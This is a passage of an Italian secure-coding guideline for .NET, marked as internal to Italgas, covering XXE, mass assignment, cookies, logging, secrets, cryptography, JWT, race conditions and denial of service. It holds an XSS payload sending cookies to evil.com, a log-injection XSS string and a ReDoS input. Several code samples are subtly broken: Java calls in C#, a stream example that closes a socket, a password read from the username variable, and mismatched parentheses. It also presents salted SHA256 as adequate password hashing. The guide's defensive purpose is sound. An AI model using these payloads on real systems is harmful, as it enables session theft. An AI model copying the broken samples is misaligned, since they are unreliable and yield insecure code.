.NET mette a disposizione la classe *System.Xml.XmlDocument* per effettuare il parse di stringhe XML. Tale classe è **sicura di default** a partire dalla versione .NET Framework 4.5.2.

Per versioni precedenti, il seguente codice è insicuro:

```
XmlDocument parser = new XmlDocument();
parser.XmlResolver = new XmlUrlResolver(); // Noncompliant
parser.LoadXml("xxe.xml");
```

La soluzione al precedente problema è quella di impostare l'*XmlResolver* a *null*:

```
XmlDocument parser = new XmlDocument();
parser.XmlResolver = null;
parser.LoadXml("xxe.xml");
```

5.4 Mass Assignment

Il concetto di **mass assignment** si riferisce a una vulnerabilità comune nelle applicazioni web, dove un attaccante può assegnare arbitrariamente valori agli attributi di un oggetto.

Questo avviene quando un framework software esegue il bind dei parametri di una richiesta HTTP a variabili o oggetti nel codice, facilitando lo sviluppo ma introducendo potenziali rischi.
Ad esempio, se un'applicazione non filtra adeguatamente i parametri in entrata, un attaccante potrebbe impostare attributi sensibili come "isAdmin" su "true", ottenendo così accessi non autorizzati.
Il mass assignment può essere specializzato in **over-posting** e **under-posting**:

- **Over-posting**: l'attaccante invia più dati di quelli necessari in una richiesta, con l'intento di modificare o aggiungere campi non previsti.
- **Under-posting**: si verifica quando vengono inviati meno dati del necessario, potenzialmente causando un comportamento imprevisto o un'incompleta persistenza dei dati.

Segue un esempio di codice vulnerabile ad **under-posting**:

```
public class SomeModel{
…
[Required]
public int SomeAttribute {get; set;}
…
}
```

Segue un esempio di codice vulnerabile ad attacchi di **over-posting**:

```
public class SomeModel{
…
[Required]
public int? SomeAttribute {get; set;}

public boolean IsAdmin {get; set;} = false;
…
}
```

Quando un attaccante include tra le informazioni coinvolte nel binding la proprietà *IsAdmin* generalmente non prevista per l'operazione che sta eseguendo, è possibile che questi possa sovrascrivere tale proprietà, ottenendo potenzialmente privilegi elevati.

Quando si utilizza una proprietà **non nullable** con il decoratore *[Required]* in un model, questo potrebbe essere soggetto ad attacchi di under-posting; quando la proprietà non viene passata in fase di binding assume un valore di default che può comportare a comportamenti inaspettati e potenzialmente dannosi.

.NET fornisce diversi meccanismi di difesa per proteggere le applicazioni dagli attacchi di mass assignment, over-posting e under-posting.
Uno degli approcci è l'utilizzo dell'attributo **[Bind]** per limitare i campi che possono essere legati durante il processo di model binding, consentendo solo quelli specificati.

Inoltre, è possibile marcare le proprietà sensibili come **[ReadOnly]** o **[BindNever]** per prevenirne la modifica.
Per gli attacchi di under-posting, si deve utilizzare tipi **nullable** e verificare la presenza di valori null, assicurandosi che tutti i campi richiesti siano forniti.

Segue un esempio di corretta implementazione che previene attacchi di mass-assignment:

```
using System;
using System.ComponentModel.DataAnnotations;

public class UtenteViewModel
{
    [BindNever]
    public int Id { get; set; }

    [Bind(Include="Nome,Cognome,Email")]
    public string Nome { get; set; }
    public string Cognome { get; set; }

    [EmailAddress]
    public string Email { get; set; }

    [ReadOnly(true)]
    public DateTime DataRegistrazione { get; private set; }

    public UtenteViewModel()
    {
        DataRegistrazione = DateTime.Now;
    }
}
```

Un'altra pratica consigliata è l'uso di **Data Transfer Objects (DTOs)** per una chiara separazione tra i dati in entrata e il modello di dominio, riducendo così la superficie di attacco.
L'adozione di librerie come **AutoMapper** può facilitare il trasferimento sicuro dei dati tra i DTOs e i models, garantendo che solo i dati validi e autorizzati siano legati agli oggetti dell'applicazione.

```
public class UtenteDTO
{
    public string Nome { get; set; }
    public string Cognome { get; set; }
    public string Email { get; set; }

    public UtenteDTO() { }
}
```

In questo esempio, *UtenteDTO* è un oggetto semplice che contiene solo i dati necessari per l'input dell'utente. Questi saranno poi mappati solo successivamente con il model.

6 MISCONFIGURATIONS

Le misconfigurations, traducibile con 'configurazioni errate', sono problematiche di sicurezza dovute ad una erronea o deprecata interpretazione delle funzionalità di un software in fase di sviluppo del codice.

6.1 Stampa della stack trace

In fase di sviluppo dell'applicativo può tornare utile agli sviluppatori leggere le stackstace in seguito alla rilevazione di eccezioni lanciate durante il flusso di esecuzione. Tuttavia, queste vanno rimosse assolutamente quando il prodotto viene reso disponibile all'utente finale, in quanto la stack trace contiene per sua natura diverse informazioni cruciali e di elevata confidenzialità (quali dump di memoria e chiamate a ritroso) di poca utilità per chi non si occupa dello sviluppo ma molto utili ad un potenziale attaccante.

L'esempio di seguito è da evitare.

```
try {
    String str = validateUserName(username);
} catch(Exception e) {
  Console.WriteLine(System.Environment.StackTrace);
  // oppure
  Console.WriteLine(e.ToString());
}
```

Metodi alternativi per evitare di stampare la stack trace sono

```
try {
    String str = validateUserName(username);
} catch(Exception e) {
    logger.warn(e.Message);
}
```

Oppure

```
try {
    String str = validateUserName(username);
} catch(Exception e) {
    if(DEBUG)
      Console.WriteLine(System.Environment.StackTrace);
      // oppure
      Console.WriteLine(ex.ToString());
}
```

6.2 Configurazione errata dei cookie

I cookie solitamente permettono al server di identificare e riconoscere quale utenza ha inviato una specifica richiesta http, il cui protocollo ricordiamo essere stateless ovvero senza memoria di stato, creando una sorta di autenticazione persistente tra il susseguirsi di messaggi in arrivo dal client.

Viene automatico quindi porre un focus sulle modalità che Java mette a disposizione per salvaguardarne la sicurezza.

Esistono due attributi che, combinati, garantiscono un adeguato livello di protezione:

- **Secure**: per il quale l'invio dei cookie può avvenire solo in presenza di una connessione cifrata, che utilizza quindi HTTPS ed evita furti di dati in transito;
- **HttpOnly:** grazie al quale il cookie archiviato nella memoria del browser non può essere recuperato dal codice javascript, lecito o malevolo che sia. Questo per prevenire i comuni attacchi XSS che esfiltrino i cookie e li inviino ad utenti malevoli.

Nell'esempio seguente vengono correttamente settati entrambi i valori a true, in modo da prevenire gli attacchi mostrati precedentemente.

```
Response.Cookies.Append("Abp.AuthRefreshToken",
        refreshToken,
        new CookieOptions
        {
            Expires = DateTimeOffset.Now.AddDays(1),
            HttpOnly = true,
            Secure = true,
            SameSite = SameSiteMode.Strict
        }
    );
```

In questo tentativo di attacco, se HttpOnly è settato a true allora document.cookie torna una stringa vuota ed il payload diventa inefficace.

```
<img src='http://evil.com/' + document.cookie>
```

7 LOGGING & MONITORING

Il logging è un aspetto fondamentale della sicurezza informatica, poiché fornisce una traccia dettagliata delle attività di sistema che possono essere analizzate in caso di incidenti di sicurezza. Attraverso i log, gli amministratori di sistema possono identificare rapidamente e con precisione eventuali comportamenti anomali o tentativi di accesso non autorizzati, facilitando così la risposta agli incidenti e la prevenzione di future minacce. Inoltre, i log possono servire come prova legale in caso di indagini su violazioni dei dati, offrendo un supporto indispensabile nel contesto della conformità normativa.

Nel panorama delle librerie .NET per l'implementazione del logging, *NLog* si distingue per la sua flessibilità e performance, offrendo un supporto completo per il logging strutturato. Oltre a NLog, esistono altre librerie degne di nota come *Log4Net*, *Serilog* e la *Microsoft.Extensions.Logging*, che fornisce un framework di logging flessibile con l'API Ilogger. Quest'ultima è stata sviluppata per soddisfare le diverse esigenze di logging dei progetti, permettendo di passare facilmente da una libreria all'altra senza cambiamenti significativi nel codice. Per esempio, Microsoft.Extensions.Logging introduce un sistema di provider che consente di indirizzare i log a varie destinazioni o librerie, inclusi Serilog e NLog, facilitando la gestione delle dipendenze.

Segue un esempio di logging mediante le librerie precedentemente menzionate:

```
// NLog
var logger = NLog.LogManager.GetCurrentClassLogger();
logger.Info("Informazione di log con NLog");

//Log4Net:
var log = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);
log.Info("Informazione di log con Log4Net");

// Serilog
var log = new LoggerConfiguration()
    .WriteTo.Console()
    .CreateLogger();
log.Information("Informazione di log con Serilog");

// Microsoft.Extensions.Logging:
using Microsoft.Extensions.Logging;
ILoggerFactory loggerFactory = LoggerFactory.Create(builder =>
{
    builder.AddConsole();
});
ILogger logger = loggerFactory.CreateLogger<Program>();
logger.LogInformation("Informazione di log con Microsoft.Extensions.Logging");
```

Il logging può essere implementato in diverse modalità, ognuna con specifici vantaggi e contesti di utilizzo. Il logging su console è immediato e utile durante lo sviluppo o il debugging, poiché permette agli sviluppatori di vedere in tempo reale ciò che accade nell'applicazione. Il logging su file è più persistente e consente di conservare i log per analisi successive, essenziale per la post-mortem analysis di incidenti di sicurezza. Esistono anche sistemi di logging più avanzati che inviano i log a database o servizi specializzati, come *Elasticsearch*, che facilitano l'analisi e l'aggregazione dei dati su larga scala.

La log rotation è una pratica critica nella gestione dei log file. Senza la log rotation, i file di log possono crescere indefinitamente, consumando spazio su disco e rendendo difficile la ricerca di informazioni rilevanti. La log rotation consente di archiviare i log vecchi, spesso comprimendoli per risparmiare spazio, e di limitare la dimensione totale dei log attivi. Questo processo aiuta a mantenere l'efficienza del sistema di logging e garantisce che i dati di log siano gestiti in modo sostenibile, facilitando anche la conformità con le politiche di retention dei dati. Inoltre, la log rotation contribuisce alla sicurezza, poiché impedisce che informazioni sensibili rimangano esposte in log troppo vecchi o dimenticati.

Per configurare la modalità di logging e la log rotation fare riferimento alla documentazione specifica per ognuna delle librerie precedentemente menzionate.

7.1 Informazioni sensibili nei log

Essendo i file di log intesi per consultazioni successive all'avvenimento di un evento, ed essendo comunque file scritti sul file system del server, i dati contenuti in essi devono anche rispettare la privacy degli utenti evitando di includere informazioni sensibili. Per sapere quali dati sono considerati sensibili e che pertanto

vanno esclusi dai log è necessario consultare i regolamenti in materia (in unione europea, ad esempio, il GDPR su tutti).
Basti pensare che un file di log potrebbe essere esfiltrato o letto da personale non autorizzato per porre subito il punto sulle problematiche legali che questa condotta comporta.

L'esempio seguente mostra una implementazione errata di una stampa nei log, che include informazioni sensibili quali la password.

```
private void LogLoginDetails(String username, String password){
    Logger.info("Tentativo di login con username: " + username + " e password: " + password);
}
```

Una struttura standardizzata utilizzata per formattare i record è la seguente:

- Timestamp
- Informazioni sull'utenza
- Evento che ha generato la scrittura della entry
- Eventuali informazioni aggiuntive (stato del server, user agent, payload etc)

7.2 Mancata validazione o sanitizzazione dei log

Un file di log non è di per sé vulnerabile ad attacchi di mancata sanitizzazione o validazione, essendo un semplice file testuale. Tuttavia, il problema può presentarsi nel momento in cui questo viene consultato. Se il contenuto non subisce una validazione o sanitizzazione opportuna, e viene aperto ad esempio tramite un browser che legge il contenuto in formato text/html, il file diventa un vettore d'attacco per iniettare un payload malevolo.

Viene riportato un esempio vulnerabile.

```
2020-01-01 14:00:00 – Utente A scrive: <img src=x onerror=alert(1)>
```

Il file di log una volta ottenuto dal browser viene interpretato, eseguendo l'istruzione alert() e dando così vita ad un attacco XSS stored.

Per prevenire questi attacchi bisogna seguire le linee guida già definite nei capitoli che coprono Sanitizzazione e Validazione ed attacchi Injection.

8 INFORMAZIONI CONFIDENZIALI

Proteggere le informazioni confidenziali è fondamentale in un mondo sempre più digitale e interconnesso. La sicurezza dei dati personali e aziendali previene accessi non autorizzati, furti d'identità e perdite finanziarie. Inoltre, garantisce la fiducia tra le parti coinvolte, promuovendo un ambiente sicuro e affidabile per lo scambio di informazioni sensibili. La protezione delle informazioni confidenziali è quindi essenziale per mantenere l'integrità e la privacy in ogni ambito della nostra vita quotidiana e professionale.

Sono da considerarsi informazioni confidenziali "secret" come chiavi crittografiche, username e password di utenti e servizi, token di sicurezza, etc.

8.1 Credenziali Hardcoded

Spesso, questo tipo di informazioni vengono memorizzati direttamente all'interno del codice (hardcoded); sebbene questa pratica possa semplificare la configurazione iniziale dei sistemi, espone a rischi significativi; un attaccante che riesce ad entrare in possesso di queste credenziali potrebbe ottenere accesso non autorizzato a sistemi, applicazioni e dispositivi, mettendo a rischio dati sensibili e infrastrutture critiche. La gestione sicura delle credenziali è quindi fondamentale per proteggere le risorse digitali.

Segue un classico esempio di credenziali hardcoded; nello specifico, nel seguente esempio una stringa di connessione al database comprendente username e password è memorizzata in un file di properties:

```
String dbConnectionString =
"Provider=MSOLEDBSQL;Server=myServerAddress;Database=myDataBase;UID=myUsername;PWD=myPassword:
";
```

Generalmente, informazioni come chiavi crittografiche vengono memorizzate in maniera insicura e non cifrata in file di configurazione come, ad esempio, *appsettings.config*.

Segue un esempio di codice insicuro che preleva una chiave segreta utilizzata per firmare un JWT dal file *appsettings.config*:

```
var secretKey = _config["Jwt:Key"];
var symmetricKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secretKey)); // Noncompliant
var signCredentials = new SigningCredentials(symmetricKey, SecurityAlgorithms.HmacSha256);

var jwtToken = new JwtSecurityToken(
  …,
  expires: DateTime.Now.AddMinutes(320),
   signingCredentials: signCredentials
);

var token = new JwtSecurityTokenHandler().WriteToken(jwtToken);
…
```

La soluzione ai due problemi problema di sicurezza presentati precedentemente è quella di utilizzare una variabile d'ambiente per memorizzare le credenziali in quanto generalmente più difficilmente accessibili al di fuori di una applicazione.

Uno step ulteriore è quello di utilizzare sistemi di vault; .NET Core mette a disposizione l'Azure Key Vault, un servizio cloud Microsoft.

```
// Utilizzo di variabili d'ambiente
var dbConnectionString = $" Provider=MSOLEDBSQL;Server=myServerAddress;Database=myDataBase;UID={
Environment.GetEnvironmentVariable("DB_USER")};PWD={Environment.GetEnvironmentVariable("DB_USER")}:";

var secretKey = Environment.GetEnvironmentVariable("JWT_KEY");

// OPPURE
// Utilzzo di un vault (in startup.cs)

var builder = WebApplication.CreateBuilder(args);

// Anche il nome del vault è un secret da proteggere adeguatamente
var keyVaultName = Environment.GetEnvironmentVariable("AZURE_KEYVAULT");

builder.Configuration.AddAzureKeyVault(new Uri($"https://{keyVaultName}.vault.azure.net/"), new
EnvironmentCredential());

// Ottieni la chiave segreta dal vault
var jwtKey = builder.Configuration.GetSection("JWT-KEY").Get<string>();
```

8.2 Oggetti per la gestione delle credenziali

Credenziali di accesso come password e secrets, oltre a dover essere salvate e trasmesse con gli adeguati algoritmi di cifratura, devono essere correttamente gestite dal programma. Questo comporta che i loro valori debbano essere sicuri anche durante il loro effettivo utilizzo da parte del processo in esecuzione.

È pratica comune gestire valori sensibili, come possono essere le credenziali di accesso, mediante oggetti di tipo String. Tuttavia, essendo le stringhe in .NET un oggetto di tipo immutable, una volta che queste sono create rimarranno disponibili in memoria finché il Garbage Collector non si occuperà della loro effettiva rimozione che non possiamo stabilire a priori, togliendo dal nostro controllo una deallocazione manuale.

```
String password = "password" // Non compliant
```

L'utilizzo di una struttura dati *char[ ]* per gestire dati sensibili durante l'esecuzione del processo invece permette di rimuovere esplicitamente i dati al termine del loro utilizzo. In questo modo si ha un controllo diretto della sicurezza dei dati in uso.

```
char[] charPassword = new char[]{'p', 'a', 's', 's', 'w', 'o', 'r', 'd'}; // Compliant
Arrays.fill(charPassword, 'x');
```

Inoltre, .NET mette a disposizione la classe *SecureString* appositamente preposta per memorizzare informazioni confidenziali. Queste verranno poi rimosse dalla memoria quando non più necessarie attraverso l'invocazione del metodo *Dispose*:

```
SecureString password;
// Define the string value to assign to a new secure string.
 char[] _password = { 't', 'e', 's', 't' };

// Instantiate a new secure string.
fixed(char* pChars = _password)
{
  password = new SecureString(pChars, _password.Length);
}
password.Dispose();
```


Italgas S.p.A - Informazioni Interne

9 CRITTOGRAFIA

Nel contesto dello sviluppo software, l'adozione di pratiche scorrette di crittografia può compromettere gravemente la sicurezza delle applicazioni.
In .NET, ci sono diverse trappole in cui gli sviluppatori possono cadere se non sono ben informati. Ad esempio, l'utilizzo di algoritmi di crittografia obsoleti o non sicuri, come DES o RC2, può rendere i dati vulnerabili ad attacchi di brute-force.

La gestione impropria delle chiavi crittografiche, come la loro memorizzazione in luoghi insicuri o la loro trasmissione in chiaro su canali non protetti, può esporre le chiavi a intercettazioni e abusi. Un altro errore comune è l'uso di valori IV (Initialization Vector) statici o prevedibili, che possono facilitare attacchi come quelli di tipo replay.

Inoltre, la mancanza di una corretta gestione degli errori durante le operazioni di crittografia può portare a divulgare informazioni sensibili attraverso messaggi di errore dettagliati.

9.1 Classi Crittografiche in .NET

È fondamentale che gli sviluppatori seguano le linee guida di sicurezza aggiornate e utilizzino classi e metodi consigliati, come quelli forniti dal namespace *System.Security.Cryptography* in .NET, per implementare schemi crittografici robusti e sicuri, evitando implementazioni customizzate.

Segue un esempio di crittografia simmetrica con l'algoritmo robusto di crittografia AES:

```
Aes aes = Aes.Create();
CryptoStream cryptStream = new CryptoStream(fileStream,
                                aes.CreateEncryptor(aes.Key, aes.VI),
                                CryptoStreamMode. Write);
```

Nel precedente esempio, la classe *Aes* si occupa di generare una nuova chiave ed un nuovo IV in maniera sicura.

Segue un esempio di una funzione di hashing con l'algoritmo SHA256, tipicamente utilizzata per cifrare informazioni come le password. In questi casi, è sempre consigliato concatenare alla password in chiaro un *salt*, una stringa randomica conosciuta solo al server, prima di effettuare l'hashing:

```
public static byte[] HashPassword256(string password, string salt)
{
    System.Security.Cryptography.SHA256 mySHA256 = System.Security.Cryptography.SHA256.Create();
    var encoding = new System.Text.UnicodeEncoding();
    return mySHA256.ComputeHash(encoding.GetBytes(salt + ":" + password));
}
```

Quando si ha necessità di generare password temporanee o codici di accesso, l'utilizzo della classe *System.Random* è sconsigliato in quanto implementato come un generatore di numeri deterministico pseudo-randomico. Questo significa che può essere dedotto utilizzando determinate informazioni come il clock di sistema.

Per la generazione di numeri randomici crittograficamente sicuri è necessario utilizzare la classe *RandomNumberGenerator*:

```
var randomNumberGenerator = System.Security.Cryptography.RandomNumberGenerator.Create();
```

9.2 JSON Web Token

I JSON Web Token (JWT) sono un metodo standard per la trasmissione sicura di informazioni tra due parti sotto forma di oggetto JSON. Questi token sono particolarmente utili per l'autenticazione e l'autorizzazione nelle applicazioni web, in quanto permettono di trasferire dati affidabili grazie alla loro firma digitale. Un JWT è composto da tre parti: l'intestazione (header), il payload (corpo) e la firma (signature).
L'intestazione contiene informazioni sul tipo di token e l'algoritmo di crittografia utilizzato mentre il payload include le affermazioni (claims) riguardanti l'entità, come l'identità dell'utente; e la firma garantisce l'integrità del token.

La firma garantisce l'integrità di un messaggio JWT. Questo processo utilizza una chiave segreta conosciuta solo dall'emittente del token per generare una firma digitale.

Inizialmente, sia l'intestazione che il payload del JWT vengono codificati in Base64. Successivamente, questi due componenti codificati vengono concatenati utilizzando un punto (".") come separatore.

La firma digitale è poi creata utilizzando un algoritmo di crittografia specificato nell'intestazione del JWT, come ad esempio, HMAC, RSA o ECDSA, per cifrare la stringa precedentemente combinata. Il risultato è un hash crittografico che viene anch'esso codificato in Base64 e aggiunto al token come terza parte, completando così la struttura del JWT.

9.2.1 Firma del JWT

Una chiave segreta utilizzata per firmare un JWT che viene in qualche modo esposta ad attori non previsti può avere seri impatti di sicurezza per l'applicazione che ne fa uso. Un attaccante potrebbe utilizzare la chiave segreta per forgiare token JWT validi, bypassando restrizioni di sicurezza ed eseguendo azioni malevole.

Fare riferimento al capitolo Credenziali Hardcoded.

9.2.2 Verifica del JWT

Quando un token JWT non è appropriatamente firmato utilizzando algoritmi sicuri o quando non vi è nessuna verifica della firma, questo apre a seri problemi di sicurezza, permettendo accessi non autorizzati a dati o funzioni di una applicazione. Seguono due esempi di codice insicuro in cui non viene eseguita la verifica della firma:

```
using JWT;

public static void unsafeDecode1(IJwtDecoder decoder)
{
    decoder.Decode(token, secret, verify: false); // Noncompliant
}

public static void unsafeDecode2()
{
    var jwt = new JwtBuilder()
        .WithSecret(secret)
        .Decode(token); // Noncompliant
}
```

I due precedenti esempi possono essere corretti come segue:

```
using JWT;

public static void safeDecode1(IJwtDecoder decoder)
{
    decoder.Decode(token, secret, verify: true);
}

public static void unsafeDecode2()
{
    var jwt = new JwtBuilder()
        .WithSecret(secret)
        .MustVerifySignature()
        .Decode(token);
}
```

10 RACE CONDITIONS

Le race conditions sono un problema comune e critico nelle applicazioni multithread, dove due o più thread accedono e modificano dati condivisi simultaneamente. Questo può portare a risultati imprevedibili ed errori difficili da riprodurre, poiché l'ordine di esecuzione dei thread può variare.

Per esempio, se un thread verifica un valore (la "verifica") e poi agisce su di esso (l'"azione"), un altro thread potrebbe modificare il valore tra la verifica e l'azione, portando a risultati inaspettati.

Per prevenire le race conditions, è comune utilizzare meccanismi di sincronizzazione come i Lock o Mutex, che assicurano che solo un thread per volta possa accedere ai dati condivisi. Comprendere e identificare le race conditions è fondamentale per lo sviluppo di software robusto e affidabile.

10.1 Race Conditions nel metodo Dispose

Quando l'implementazione del metodo *Dispose* in una classe non è sincronizzata, è possibile che la funzione venga eseguita più volte.

Segue un esempio di implementazione **asincrona** di *Dispose*:

```
void Dispose()
{
    if (fileHandle != null)
    {
        fileHandle.Dispose();
        fileHandle = null;
    }
}
```

Questo può risultare in problemi di sicurezza, soprattutto quando è coinvolto l'utilizzo di handle di risorse, come ad esempio file, portando ad una gestione degli handle insicura.

Nel precedente esempio, un primo thread potrebbe invocare la *Dispose*; non appena viene eseguito *fileHandle.Dispose()* **ma** prima che *fileHandle* venga settato a null, un secondo thread invoca nuovamente la *Dispose*, generando una race condition.

10.2 Race condition con oggetti in cache

Un codice potenzialmente condiviso tra più thread che effettua caching di informazioni con rilevanza di sicurezza, potrebbe essere vulnerabile a race condizion quando non sono impostati adeguati meccanismi di sincronizzazione.

```
using System.Security;
using System.Security.Permissions;

public class SecurityCache
{
    // Oggetto contenente informazioni di sicurezza
    private static object cachedSecurityObject;

    public static void CacheSecurityInfo(object securityInfo)
    {
        cachedSecurityObject = securityInfo;
    }

    public static void ClearSecurityInfo()
    {
        cachedSecurityObject = null;
    }

    public static object GetCachedSecurityInfo()
    {
        return cachedSecurityObject;
    }
}

….

void DoSomeAction(){
  …
  securityCache.CacheSecurityInfo(someInfo);
  …
 // Operazioni che sfruttano le informazioni in cache
 object securityInfo = GetCachedSecurityInfo();
  …
 // Svuota la cache dopo aver terminato tutte le operazioni
 securityCache.ClearSecurityInfo();
}
```

Quando più thread lanciano il metodo *DoSomeAction*, potenzialmente con informazioni di sicurezza diverse, è possibile che possa verificarsi una condizione di race condition, permettendo ad un thread di accedere ad informazioni di sicurezza di un altro, aprendo le porte a diverse possibili problematiche di sicurezza.

10.3 Race Conditions in costruttori e finalizzatori

In alcune applicazioni potrebbe essere possibile per altri thread accedere a membri di una classe prima che l'esecuzione del costruttore sia completata. Per costruttori che trattano informazioni rilevanti dal punto di vista della sicurezza, potrebbe essere necessario in atto meccanismi di sincronizzazione per prevenire attacchi di race conditions.

Lo stesso discorso è applicabile per situazioni in cui si presentano race condition in finalizzatori piuttosto che costruttori; in questi casi un thread potrebbe accedere a risorse già rilasciate.

11 DENIAL OF SERVICE (DoS)

Un attacco Denial of Service (DoS) è un tipo di attacco informatico mirato a rendere un servizio, una rete o un sistema inaccessibile agli utenti legittimi. Questo viene realizzato sovraccaricando il sistema con un'enorme quantità di traffico o richieste, fino a quando non riesce più a gestirle e diventa non operativo.

11.1 Pattern Disposable in .NET

L'interfaccia *IDisposable* in .NET è fondamentale per la gestione delle risorse e per garantire che queste vengano rilasciate in modo appropriato, prevenendo così potenziali perdite di memoria che potrebbero portare ad un **Denial of Service (DoS)**. Questa interfaccia prevede l'implementazione del metodo *Dispose* che deve essere chiamato quando le risorse non sono più necessarie.

Inoltre, è consigliato l'utilizzo di un *SafeHandle* per il corretto rilascio di risorse gestite e non gestite; questa classe funge da wrapper per un handle del sistema operativo (generalmente corrispondente ad un *System.IntPtr*). *SafeHandle* fornisce tutta la logica necessaria per assicurare che la risorsa venga rilasciata una ed una sola volta quando viene eseguita la sua *Dispose* o quando viene finalizzata dopo che non ci sono più referenze alla stessa.

Quando si utilizza *SafeHandle* potrebbe non essere necessario invocare esplicitamente la sua *Dispose*; tuttavia, nel caso di risorse non gestite direttamente, è bene invocarla in fase di finalizzazione.

Per implementare *IDisposable* in modo sicuro, si dovrebbe seguire il **pattern dispose** che prevede l'implementazione dell'overload *protected virtual void Dispose(bool)* del metodo *public void Dispose*, il quale si occuperà dell'effettivo rilascio delle risorse non gestite e gestite.

Il metodo *Dispose* pubblico, invece, dovrebbe chiamare il metodo *Dispose* virtuale e poi il *GC.SuppressFinalize*, indicando al Garbage Collector (GC) che il finalizzatore è stato già eseguito e non è necessario chiamarlo nuovamente. Questo pattern aiuta a prevenire l'esecuzione del finalizzatore se *Dispose* è stato già chiamato, riducendo così il carico sul GC e migliorando le prestazioni dell'applicazione.

Segue un esempio di implementazione del **pattern dispose**, utilizzando i SafeHandle:

```
using System;
using System.Runtime.InteropServices;

public class ResourceHolder : IDisposable
{
    // Flag per monitorare se le risorse sono già state rilasciate
    private bool disposed = false;
    // Istanza di SafeHandle per gestire la risorsa non gestita
    private SafeHandle? _safeHandle = new SafeFileHandle(IntPtr.Zero, true);

   // Implementazione del metodo Dispose pubblico per rilasciare le risorse
    public void Dispose()
    {
        Dispose(true);
        // Evita la chiamata ai finalizzatori
        GC.SuppressFinalize(this);
    }

    // Metodo protetto virtuale che esegue la logica di rilascio delle risorse
    protected virtual void Dispose(bool disposing)
    {
        if (!disposed)
        {
            if (disposing)
            {
                // Rilascia eventuali risorse gestite qui
            }

            // Rilascia le risorse non gestite
            safeHandle?.Dispose();
            disposed = true;
        }
    }

    // Finalizzatore per catturare la mancata chiamata a Dispose
    ~ResourceHolder()
    {
        Dispose(false);
    }
}
```

11.2 Saturazione delle risorse

Quando un programma o un'applicazione non dealloca correttamente le risorse di sistema come la memoria o gli handle dei file dopo che non sono più necessari, possono verificarsi varie vulnerabilità. Ciò può infatti causare l'esaurimento delle risorse di sistema, con conseguenti problemi di prestazioni e possibili arresti anomali. Può anche lasciare il sistema aperto ad attacchi che sfruttano queste risorse.

La maggior parte delle problematiche legate al loro mancato rilascio si traduce in problemi generali di affidabilità del software. Di conseguenza, è essenziale liberare gli asset di sistema per evitare potenziali perdite di memoria e Denial of Services dovuti alla loro saturazione.

In condizioni normali, si può fare affidamento sul Garbage Collector per rilasciare gli oggetti che non utilizzano risorse di sistema. Tuttavia, se questi utilizzano risorse di sistema scarse e non gestite, il Garbage Collector potrebbe non riuscire a deallocarli concretamente prima che il pool di risorse non gestite sia esaurito. È quindi necessario chiuderli in maniera adeguatamente robusta.

11.2.1 Socket di rete

In condizioni normali, il codice seguente chiude correttamente il socket e tutti i flussi associati. Tuttavia, se si verifica un'eccezione durante la lettura dell'input o la scrittura dei dati, l'oggetto socket non viene chiuso. Se questo accade abbastanza spesso, il sistema esaurirà i socket e non sarà in grado di gestire altre connessioni.

```
Socket socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
socket.Connect(uri.Host, port);
// Esegui le operazioni
…
Socket.Close()
```

Questa implementazione più sicura gestisce la chiusura dell'oggetto Socket nel blocco finally, che viene eseguito al termine dell'esecuzione delle istruzioni nel blocco try oppure quando un'eccezione viene lanciata, di modo da liberare in ogni caso le risorse occupate.

```
try {
    Socket socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
    socket.Connect(uri.Host, port);
    // Esegui le operazioni
    …
}
finally{
     socket.Close();
}
```

C# mette a disposizione l'istruzione *using* che garantisce che una risorsa venga correttamente rilasciata quando il flusso di controllo lascia il blocco *using*:

```
using(Socket socket = new Socket(SocketType.Stream, ProtocolType.Tcp)){
     socket.Connect(uri.Host, port);
     // Esegui le operazioni
    …
}
```

11.2.2 Stream

In condizioni normali, il codice seguente chiude l'oggetto *StreamReader*. Tuttavia, se si verifica un'eccezione durante il flusso di esecuzione, l'oggetto *reader* non viene chiuso. Questo può portare ad un leak di dati e risorse.

```
StreamReader reader = File.OpenText("data.txt");
// Esegui le operazioni
…
reader.Close()
```

Questa implementazione più sicura gestisce la chiusura dell'oggetto *StreamReader* nel blocco finally, che viene eseguito al termine dell'esecuzione delle istruzioni nel blocco try oppure quando un'eccezione viene lanciata, di modo da liberare in ogni caso le risorse occupate.

```
try {
    StreamReader reader = File.OpenText("data.txt");
    // Esegui le operazioni
    …
}
finally{
     socket.Close();
}
```

C# mette a disposizione l'istruzione *using* che garantisce che una risorsa venga correttamente rilasciata quando il flusso di controllo lascia il blocco *using*:

```
using(StreamReader reader = File.OpenText("data.txt")){
     // Esegui le operazioni
    …
}
```

11.2.3 Database

In condizioni normali, il seguente codice esegue delle operazioni sul database e successivamente chiude l'oggetto *sqlConnection*. Tuttavia, se un'eccezione avviene durante l'esecuzione del flusso del codice, l'oggetto non verrà correttamente deallocato. Se questa condizione si verifica più e più volte, il database verosimilmente saturerà man mano le proprie risorse fino a terminare lo spazio dedicato alle connessioni in entrata, e non sarà più in grado di gestire nuove query.

```
SqlConnection sqlConnection = new SqlConnection(connectionString);
sqlConnection.Open();
// Esegui le operazioni
…
sqlConnection.Close()
```

Questa implementazione più sicura gestisce la chiusura dell'oggetto *SqlConnection* nel blocco finally, che viene eseguito al termine dell'esecuzione delle istruzioni nel blocco try oppure quando un'eccezione viene lanciata, di modo da liberare in ogni caso le risorse occupate.

```
try {
    SqlConnection sqlConnection = new SqlConnection(connectionString);
    sqlConnection.Open()
    …
}
finally{
    sqlConnection.Close();
}
```

C# mette a disposizione l'istruzione *using* che garantisce che una risorsa venga correttamente rilasciata quando il flusso di controllo lascia il blocco *using*:

```
using(StreamReader reader = File.OpenText("data.txt")){
    // Esegui le operazioni
   …
}
```

11.2.4 Regex

ReDoS, o Denial of Service tramite espressioni regolari, è un tipo di attacco che sfrutta il fatto che la maggior parte delle implementazioni di espressioni regolari possono raggiungere situazioni estreme che le fanno lavorare molto lentamente, in relazione esponenziale alla dimensione dell'input. Un attaccante può quindi causare un rallentamento o addirittura un blocco dell'applicazione fornendo un'espressione regolare che richiede molto tempo per essere valutata.

In .NET, la classe *System.Text.RegularExpressions.Regex* fornisce metodi per determinare se un certo pattern esiste in una stringa (*IsMatch*), per trovare corrispondenze (*Match* o *Matches*), e per sostituire testo (*Replace*).

Un esempio di attacco ReDoS in .NET potrebbe essere il seguente:

```
Regex.IsMatch(new string('\t', 54773)) + "\x00\t", "\s+$")
```

